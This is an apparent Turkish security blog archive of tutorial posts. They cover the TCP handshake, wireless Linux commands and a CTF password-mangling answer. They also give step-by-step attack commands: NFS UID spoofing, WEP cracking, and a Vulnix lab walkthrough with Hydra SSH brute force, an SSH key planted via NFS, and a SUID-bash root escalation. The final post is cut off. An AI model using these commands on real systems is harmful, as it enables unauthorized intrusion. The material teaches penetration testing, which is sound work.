31 Aralık 2013 Salı

İpucu: Password Mangling ve Linux için Kaba Kuvvet Aracı

Password Mangling ve Linux için Kaba Kuvvet Aracı

Password Mangling olarak ifade edilen teknik mevcut bir kelimenin farklı varyasyonlarının oluşturulması esasına dayanır. Rastgele veya belirlenen bir politikaya göre küçük-büyük karakter dönüşümü, boşlukların eksi veya alt çizgiye dönüşümü, bazı harflerin sayılara; sayıların harflere ve noktalama işaretlerine dönüşümü vb. uygulanabilir.

Bu yazı TÜBİTAK SGE tarafından düzenlenen SiberMeydan yarışmasında sorulan CentOS imajının root parolasının belirlenmesine yöneliktir [Soru 9]. Soruda beklenen erişim sağlanan makinenin isminden faydalanılarak bir karıştırılmış bir kelime listesi (password mangle) oluşturmak ve liste üzerinden kaba kuvvet saldırısı ile parolanın belirlenmesini sağlamaktadır. Burada sunucunun açık ssh servisine yönelik bir kaba kuvvet saldırısı yapılabileceği gibi bütün parolaların özet değerlerini hesaplayıp /etc/shadow dosyası içerisindeki özet ile karşılaştırma yoluna da gidilebilir. Tabii ki burada öncelikle gerekli olan root kullanıcısına ait bu dosyanın açılması, dolayısıyla sistemdeki açıklıkları kullanarak root olunmasıdır.

Ekran görüntüsünde ilk iki $ işareti arası parolanın MD5 ile özetlendiğini, ikinci ve üçüncü $ arasındaki ifade parola özetlenirken kullanılan tuz (salt) değerini, son kısımda parolanın tuzlu özet (salted hash) değerini göstermektedir.

Parola listesi oluşturmak için bağlantıdaki gibi bir betikten faydalanılabilir. sibermeydan kelimesi bu betiğe girdi olarak verildiğinde bu kelime baz alınarak oluşturulan yeni versiyonlar görülmektedir.

Aşağıdaki gibi bir bash komut seti ile md5pass komutuna salt değeri olarak "UHNLonQh" kullanarak parola üretmesi ve /etc/shadow içerisindeki hash değeri ile bir karşılaştırma yapılması sağlanmıştır.

Ekran çıktısında görüldüğü gibi sorunun cevabı 5!BeRMeyd@n şeklindedir.

Kaynak:
http://www.agguvenligi.net/2013/12/password-mangling-ve-linux.html

29 Aralık 2013 Pazar

Notlar: Üçlü El Sıkışma - Tree Way Handshak

Üçlü El Sıkışma - Three Way Handshake

Ağ üzerinde iki bilgisayar arasında TCP bağlantısının sağlanmasında ilk aşamaya Üçlü El Sıkışma (Tree Way Handshake) denilmektedir. Şimdi bu bağlantının sağlanmasını genel hatları ile anlatalım:
  1. Bağlantıyı başlatacak İstemci bilgisayar TCP segmenti başlığı içerisinde SYN (Synchronize) bitini “1″ set eder. Paketleri kontrol etmek amacıyla bir sıra numarası üretilir. Bu sıra numarasına SEQ.Num. (Sequence Number) denilmektedir. Örneğimizde ilk sıra numarası 3517‘dir. Bu ilk sıra numarası işletim sistemlerine göre farklılık gösterir.
  2. İstemciden gönderilen paketi alan Sunucu bağlantı isteğini onaylamak için TCP segmenti başlığı içerisinde SYN+ACK (Acknowledgement) bitlerini “1″ set eder. Sunucu aldığı paketteki sıra numarasını bir artırır 3517+1=3518 bu numara İstemci bilgisayarın bir sonraki göndereceği paket numarasıdır. Bu numara değeri ACK.Num. (Acknowledgment Number) alanına yazar. Sunucu da kendi paketlerini kontrol amaçlı bir sıra numarası üretir. Örneğimizde Sunucunun ürettiği ilk sıra numarası da 7349‘dur. Bu sıra numarasını SEQ.Num. alanına yazar ve paketi tekrar İstemciye yollar.
  3. Bağlantı sağlamanın son aşaması olarak İstemci bilgisayarından Sunucu bilgisayarına bir paket daha iletilir. Bu pakette TCP segmenti başlığı içerisinde ACK biti “1″ set edilir. ACK.Num. alanına Sunucu bilgisayarın gönderdiği ACK.Num. değeri 7349 bir artırılarak 7349+1=7350 yazılır. SEQ.Num. değeri İstemci bilgisayarın sıradaki paket numarasıdır. Yani İstemci bilgisayarının ilk gönderdiği sıra numarası Sunucu bilgisayarı tarafından bir artırılmış ve İstemci‘ye yeniden  gönderilmiş olan 3518 numarası yazılır ve paket Sunucu bilgisayarına gönderilir.


Toplamda 3 paket ile TCP bağlantısı sağlanmış olur.

Bağlantı sağlandıktan sonra artık paketler tek tek gönderilmez. Bundan sonraki paketler örneğin iletilecek dosyanın büyüklüğü, ağ hızı vb. etkenler göz önünde bulundurularak işletim sistemine göre belirli bir algoritma ile iletişim devam eder.

Üçlü el sıkışma ile ilgili özet bir gösterim şu şekildedir:




Üçlü el sıkışmayı daha iyi anlamak için TCP başlığını incelemek gerekebilir. TCP başlığı ise şu şekildedir:



Örnek - 1:
Daha açıklayıcı olması için bu 3 adımı Wireshark ile gösterelim. Yukarıdaki anlatımdan tek farkı SEQ.Num. ve ACK.Num. değerleridir.

1. Adım:



2.Adım:


3.Adım:



NOT: Önemli bir hatırlatma yapmakta fayda vardır. Wireshark programı paketlerin kolay incelenmesini sağlamak amacı ile SEQ.Num. değerini varsayılan ayarlarında sıfır “0″ olarak başlatır. Bu ayarı devre dışı bırakıp SEQ.Num. değerinin orjinal numarasını görmek için ayarlama yapmak gerekir. Bu ayar için Wireshark > Edit > Preferences… > Protokols > TCP seçilir ve sağ pencereden Relative sequence numbers: kutusunda bulunan işaret kaldırılır.

Örnek -2:
Bir başka örnek olarak da aşağıdaki iletişim kullanılabilir:

"yahoo.com" adresine gidilirken elde edilen bu paketteki 10 adım şu şekilde özetlenebilir:
1. Paket: Varsayılan ağ geçidinin IP adresi (10.0.0.138) aranır. Bu amaçla ARP yayını (broadcast) gerçekleştirilir.
2. Paket: Yayına, ağ geçidinin MAC adresi ile cevap (ARP unicast) verilir. Aynı ağda MAC adresleri ile iletişim kurulduğundan MAC yollanmıştır. MAC'in bilgisayarın ARP tablosunda olmadığı varsayılmıştır.
3. Paket: Hedef adresin DNS A kaydı sorgulanır. IPv4 adresi öğrenilmek istenmiştir.
4. Paket: Hedef adresin DNS AAAA kaydı sorgulanır. IPv6 adresi öğrenilmek istenmiştir.
5. Paket: Hedef adresin DNS A kaydı cevabı verilir.
6. Paket: Hedef adresin DNS AAAA kaydı cevabı verilir.
7. Paket: Hedef IP adresinin 80. portuna SYN gönderilir.
8. Paket: Hedef IP adresinin 80. portundan SYN ve ACK paketleri alınır.
9. Paket: Hedef IP adresinin 80. portuna ACK gönderilir.
10. Paket: İlk HTTP GET talebi gönderilir.

Kaynak:
http://siberblog.org/index.php/three-way-handshake-uclu-el-sikisma/

21 Aralık 2013 Cumartesi

İpucu: Kablosuz Ağ Testleri İçin Temel Linux Komutları

Kablosuz Ağ Testleri İçin Temel Linux Komutları

Linux istemci üzerinde kablosuz ağlara yönelik sızma testi vb. gerçekleştirilmeden önce sistem üzerinde kullanılabilecek araç/komutların bilinmesi gerekmektedir. Bu notta, kullanılabilecek temel sistem komut/araçlarlarına değinilecektir.

Kablosuz ağ arabirimini yapılandırmak için iwconfig komutu kullanılabilir. Öncesinde ilgili arayüzün ayağa kaldırılması gerekir.
#ifconfig wlan0 up
iwlist aracı ile sinyal alınan ağlar bulunabilir.
#iwlist wlan0 scanning
Örnek olarak "Kablosuzum" essid'sine bağlanmak için iwconfig komutu aşağıdaki şekilde kullanılabilir.
#iwconfig wlan0 essid "Kablosuzum"
Ağınız WEP ile korunuyorsa bağlanmak için;
#iwconfig wlan0 essid "Kablosuzum" key parolam
komutu kullanılır.
iwconfig aracı WPA/WPA2 Kişisel (Personal) ve Kurumsal(Enterprise) ağlara bağlanmak için kullanılamaz. Bunun için wpa_supplicant aracından faydalanılabilir.
#wpa_supplicant -Dwext -iwlan0 –c wpa-supp.conf
#dhcpclient3 wlan0
Mevcut ağ kartlarını belirlemek için aircrack-ng suite içerisindeki airmon aracından faydalanılabilir.;
#airmon-ng
wlan0 fiziksel arayüzünü kullanarak gözetleme modunda promiscous bir arayüz oluşturmak için yine airmon aracı kullanılabilir;
#airmon-ng start wlan0
Promiscous Mode: Bu modda ağ arayüzü kendisine ait olsun ya da olmasın ortamdaki bütün paketleri yakalayabilir.

Doğrulamak için airmon-ng tekrar çalıştırılır. ifconfig ile yeni oluşan mon0 arayüzü de görülebilir.

Kaynak:
http://www.agguvenligi.net/2013/01/kablosuz-ag-testlerinde-kullanilabilecek-temel-linux-komutlari.html

İpucu: NFS Paylaşımının İstismarı

NFS Paylaşımının İstismarı

NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosyası /etc/exports olup güvenlik özellikleri göz ardı edildiğinde istismar edilebilecek bir zafiyete neden olabilir. Bu yazıda NFS paylaşımı üzerinden sistem üzerinde yetki elde etmeye yönelik bir yöntemden bahsedilecektir.

Varsayılan olarak 2049/tcp üzerinden çalışan NFS servisinin tespiti nmap vb. araçlarla gerçekleştirildikten sonra servisin açık olduğu belirlenen varlık üzerindeki paylaşımların tespiti için farklı araçlar kullanılabilir.

Geleneksel Linux sistemlerdeki showmount komutu ile paylaşım tespiti:
# showmount -e 10.0.0.5
Nmap aracı ile paylaşım tespiti:
# nmap -n -PN -sS -T5 -p 2049 --script=nfs-showmount 10.0.0.0/24
Metasploit ile paylaşım tespiti:
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set RHOSTS 10.0.0.0/24
msf auxiliary(nfsmount) > run
Tespit edilen paylaşımların yerel sisteme bağlanması  şu şekilde gerçekleşir.
# mount -t nfs 10.0.05:/paylasim_adi /baglama_dizini
Daha öncede belirtildiği üzere /etc/exports içerisindeki
/       *(rw)
şeklindeki bir yapılandırma ile bütün sistem herhangi bir erişim izni olmaksızın ağdaki herkesin yerel sistemine okuma/yazma hakkı ile bağlanabilir duruma gelebilmektedir. Ve bu sızma testlerinde büyük ölçekli kurumsal yapılarda dahi karşılaşılabilen bir durumdur. Böyle bir durumda Linux sistemler için gerçekleştirilebilecek post-exploitation adımları uygulanabilir.
Bir diğer durumda bağlanan sistemin farklı UID değerli kullanıcıya ait olması nedeniyle dosyaların açılamaması durumudur. Öncelikle showmount komutu ile /export/home dizininin paylaşıldığı bir ortamda saldırgan sistem üzerinde öncelikle aşağıdaki komut ile hedef dizine yerele bağlanır.
#mount -t nfs 192.168.0.1:/export/home /baglama_dizini
Hedef dizini bu şekilde yerel sisteme bağlandıktan sonra ls -al komutunun çıktısı sonucunda bağlanan dosyaların yerel sistemde mevcut olmayan UID değerine sahip bir kullanıcıya ait olduğu görülebilir
-rwxr----- 2626 1000 1898 parolalar_doc
DAC mantığı ile çalışan geleneksel sistemler bu dosyanın açılmasına izin vermeyeceği için şu şekilde bir yöntem izlenebilir. Öncelikle dizin bağı çözülür:
# umount /baglama_dizini
Örnek bir kullanıcı oluşturulup UID değeri paylaşımındaki değer olacak şekilde ayarlanır.
# useradd raptiye
# usermod -u 2626 raptiye
Yeni kullanıcının ortamına geçiş yapılır:
# su raptiye
Bu noktadan sonra paylaşım tekrar yerele bağlandığında aynı UID'li kullanıcıya sahip olunduğu için bağlanan dosyalar sorunsuz şekilde açılacaktır.

Kaynak:
http://www.agguvenligi.net/2013/01/nfs-istismari.html

İpucu: Uygulamalı WEP Parolası Kırma, Şifre Çözme ve PCAP içerisinden Dosya Çıkarma

Uygulamalı WEP Parolası Kırma, Şifre Çözme ve PCAP içerisinden Dosya Çıkarma

Bu notta uygulamalı olarak WEP kullanılarak şifrelenmiş kablosuz bir ağ iletişimine ait pcap dosyası kullanılarak WEP parolasının elde edilmesi, bu parolanın kullanılarak pcap dosyasının şifresinin çözülmesi ve içerisindeki tcp akışındaki dosyasının çıkartılması ele alınacaktır. Öncelikle gerekli pcap dosyası bağlantıdan temin edilebilir.

tcpdump aracı ile pcap dosyasının içeriğine bakıldığı WEP ile şifrelenmiş bir iletişime ait olduğu ve içerisinde IV paketleri içerdiği görülebilir.
# tcpdump -nvr hc3.pcap-04.cap -c10
reading from file hc3.pcap-04.cap, link-type IEEE802_11 (802.11)
16:19:41.145465 0us Beacon (home) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] ESS CH: 6, PRIVACY
16:19:43.507896 0us Acknowledgment RA:e0:f8:47:2e:93:3e
16:19:44.468986 0us Acknowledgment RA:e0:f8:47:2e:93:3e
16:19:54.341047 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.348727 WEP Encrypted 48us Data IV:6804a7 Pad 0 KeyID 0
16:19:54.485431 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.485431 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.487991 WEP Encrypted 48us Data IV:6804a9 Pad 0 KeyID 0
16:19:56.359991 WEP Encrypted 48us Data IV:6804ab Pad 0 KeyID 0

16:19:57.491514 0us Acknowledgment RA:e0:f8:47:2e:93:3e
Dosya içerisinde hangi SSID değerlerine sahip ağların bulunduğunun tespiti için tcpdump, tshark veya pyrit araçları aşağıdaki şekillerde kullanılabilir:
# tcpdump -nnr hc3.pcap-04.cap '((type mgt subtype beacon) or (type mgt subtype probe-req))' | head
# tshark -r hc3.pcap-04.cap | grep SSID
#  pyrit -r hc3.pcap-04.cap analyze | grep AccessPoint | cut -d \' -f2 | sort
50,000 ve üzeri IV paketinin toplanması ile herhangi bir WEP parolası saniyeler içerisinde kırılabilir. Bunun için aircrack aracından faydalanılabilir.
# aircrack-ng hc3.pcap-04.cap
Opening hc3.pcap-04.cap
Read 208428 packets.
   #  BSSID                      ESSID                     Encryption
   1  00:1A:70:4C:BB:76  home                      WEP (50757 IVs)
Choosing first network as target.
Opening hc3.pcap-04.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 50757 ivs.
                                                  Aircrack-ng 1.1 r2178
                                  [00:00:00] Tested 861 keys (got 50459 IVs)
   KB    depth   byte(vote)
    0    0/ 13   28(63744) A8(60928) 86(58880) C7(58880) 3D(58624) A4(58112) 53(57856) 5B(57856)
    1    0/  1   57(76544) 0F(60928) 34(59392) 5B(58880) D4(57856) DF(57856) 4D(57344) 66(57344)
    2    1/  2   1E(61952) A8(59648) 67(59136) 03(58624) 5F(58368) 61(58368) 91(58368) 3A(58112)
    3    0/  1   B4(75264) 31(61184) 7F(60416) 66(58112) 83(57856) 9F(57856) A2(57600) D6(57600)
    4    9/  4   F9(58368) 07(57856) EF(57856) FF(57856) 3B(57600) 6E(57344) 93(57344) E7(57088)
             KEY FOUND! [ 28:E6:6B:E9:D3:B6:20:95:DD:E9:2F:BE:37 ]
        Decrypted correctly: 100%
Mevcut pcap dosyasının şifresinin çözülmüş halini elde etmek için airdecap uygulaması kullanılabilir.
# airdecap-ng hc3.pcap-04.cap -w 28:E6:6B:E9:D3:B6:20:95:DD:E9:2F:BE:37
Total number of packets read        208428
Total number of WEP data packets     96367
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets     96367
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
airdecap ile şifresi çözülen pcap dosyası sonucunda aynı dizin altında hc3.pcap-04-dec.cap adı altında decrypt edilmiş yeni bir dosya oluşacaktır.
# ls hc3.pcap-04*
hc3.pcap-04.cap  hc3.pcap-04-dec.cap
Wireshark uygulamasındaki "follow tcp stream" seçeneği ile pcap içerisinde dosya görülebileceği ve çıkartılabileceği gibi Backtrack içerisindeki tcpxtract uygulaması ile de hedef dosya elde edilebilir.
# tcpxtract -f hc3.pcap-04-dec.cap
Found file of type "zip" in session [192.168.0.122:26817 -> 2.2.2.2:20228], exporting to 00000000.zip
# file 00000000.zip
00000000.zip: Zip archive data, at least v1.0 to extract
Yine aynı pcap dosyası içerisindeki e-posta içeriğindeki base64 kodlanmış parolanın aşağıdaki şekilde geri elde edilmesi ile zip dosyasının da açılması mümkündür.
# echo "dGhlIHBhc3N3b3JkIGlzIGJvc3Rvbk1BMTk3Nwo=" | base64 -d
Kaynak:
http://www.agguvenligi.net/2013/01/uygulamal-wep-parolas-krma-sifre-cozme.html
https://sickbits.net/hack3rcon3-the-xrg-ctf-challenge-4-solution-decrypt-pcap-wep-extract-file/

18 Aralık 2013 Çarşamba

İpucu: Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.

Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.

Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.

Burada üzerinde çalışılacak Vulnix dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj bağlantıdan temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç /root dizini altında bulunan trophy dosyasının içeriğine erişmektedir.
Mimari: x86
Biçim: VMware (vmx & vmdk)
RAM: 512MB
Network: NAT
Boyutu: 194MB – 7zip
Çıkarılmış hali: 820MB
Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına bağlantıdan erişebilirsiniz.

Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde File>Open sonrası çıkan menüde Vulnix.vmx dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.

Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir.


Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde Edit>Virtual Network Editor bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.


Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.

1. Keşif ve IP/Port Tarama

Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.
root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24
Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.


2. Servisler Üzerinden Bilgi Toplama

a. SMTP

SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.
root@agguvenligi:~# telnet hedef_ip_adresi 25
vrfy geçerli_kullanıcı_adı
vrfy geçersiz_kullanıcı_adı
Örnek bir tarama sonucu aşağıdaki gibidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):

Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki auxiliary/scanner/smtp/smtp_enum modülü kullanılabilir.
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101
msf auxiliary(smtp_enum) > run


Manuel olarak yapılan örnekte user ve vulnix kullanıcılarının sistem üzerinde olduğu görülmektedir.


b. FINGER

Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde
root@agguvenligi:~# finger -l -p vulnix@192.168.1.101
komutu çalıştırılır. Eğer finger paketi sistemde yüklü değilse aşağıdaki gibi bir hata alınır. Bu durumda, (ağ adaptörü internete çıkacak şekilde ayarlandıktan sonra) finger paketi yüklenmelidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):


Böylece, Finger komutu çalıştırılarak vulnix kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.

Not: SMTP servisindeki zafiyet sebebiyle elde edilen kullanıcı isimleri (root, backup, bin ve daemon) denendiğinde aynı sonuçlar elde edilmektedir.

Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.
root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done


Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan auxiliary/scanner/finger/finger_users modülü kullanılabilir. Kullanımı şu şekildedir:
msf> use auxiliary/scanner/finger/finger_users
msf auxiliary(finger_users) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(finger_users) > run

3. Sızma Denemesi

a. SSH

İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük /pentest/passwords/wordlists dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.

Hydra aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.
root@agguvenligi:~# cd /pentest/passwords/wordlists/
root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh
Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.

Not: Backtrack üzerindeki "/pentest/passwords/wordlists/darkc0de.lst" dosyasında 1,7 milyondan fazla satır olduğundan "hydra" aracının kullanımı oldukça uzun sürebilmektedir.

b. RLOGIN

Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin (TCP/513) servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri (kullanıcı adı: user, parolası: letmein) ile sisteme erişildiğinde user kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.


Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan auxiliary/scanner/rservices/rlogin_login modülü de kullanılabilir. Kullanımı şu şekildedir:
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101
msf auxiliary(rlogin_login) > run
Not: Bu modülün çalıştırılması sonucunda Vulnix üzerinde herhangi bir kimlik bilgisi tespit edilemeyecektir. Bu modül, "FROMUSER_FILE" olarak belirtilen dizindeki (/opt/metasploit-4.4.0/msf3/data/wordlists/rservices_from_users.txt) kimlik bilgilerini aramaktadır ve bu dosyada normalde 7 tane hesap adı bulunmaktadır.

Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.



Bu işlemlerden sonra bağlantı sağlanmaktadır.

c. NFS

Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı , TCP/2049) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# showmount -e 192.168.1.101

Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# mkdir /mnt/nfs
root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs
Sonraki adımda bu dizine erişilmek istenildiğinde "Permission Denied" hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.


Bu hatayı aşmak için görülen UID değerinde (2008) BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.
root@agguvenligi:~# useradd -m agguvenligi -u 2008
root@agguvenligi:~# su - agguvenligi

Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.

Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında .ssh dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.

Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.

Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır. ("/mnt/nfs" dizini, Vulnix sunucu üzerindeki "/home/vulnix" dizini olarak mount edilmişti.). Bunun için öncelikle mount dizinine ".ssh" adlı bir klasör oluşturulur. Sonrasında da kopyalama işlemi gerçekleştirilir.
agguvenligi@agguvenligi:/$ mkdir /mnt/nfs/.ssh
agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys


Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101

Bağlantının gerçekleştiği kullanıcıya ait hesabın ID değerinin 2008 olduğu görülmektedir.

4. Yetki Yükseltme

Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için sudo -l komutundan faydalanılabilir.


Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının /etc/exports dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının root_squash opsiyonuyla yapıldığı yani NFS paylaşımına uzak makineden root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.
Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.
vulnix@vulnix:~$ sudoedit /etc/exports

Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.
root@agguvenligi:~# umount /mnt/nfs

Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.

Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.
root@agguvenligi:/mnt/nfs# cp /bin/bash .
root@agguvenligi:/mnt/nfs# chmod 4777 bash

Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.
Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde "-bash: ./bash: cannot execute binary file" şeklinde bir hata ile karşılaşılacaktır:
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101
vulnix@vulnix:~$ ./bash -p
bash-4.2# id
bash-4.2# cat /root/trophy.txt


Kaynak:
http://www.agguvenligi.net/2013/08/vulnix-tutorial-I.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-II.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-III.html

İpucu: Backtrack5 Single User Mode ile Root Parolasını Yenilemek

Backtrack5 Single User Mode ile Root Parolasını Yenilemek

Backtrack5  işletim sistemi üzerinde unutulan root parolasını resetlemek için aşağıdaki yöntem takip edilebilir.
1) İşletim sistemi Vmware üzerinde çalışan sanal bir makine ise öncelikle makine yeniden başlatılmalı ve ekranda aşağıdaki gibi vmware boot ekranı göründüğünde <SHIFT> tuşuna basılı tutulur (Defalarca "Bas Bırak" yapılmaz, basılı tutulur).


2) GRUB önyükleyicisi ekranı gözüktüğünde en üstte yer alan Ubuntu Linux kerneli üzerine gelinerek <e> tuşu ile düzenleme kipine geçiş yapılır.
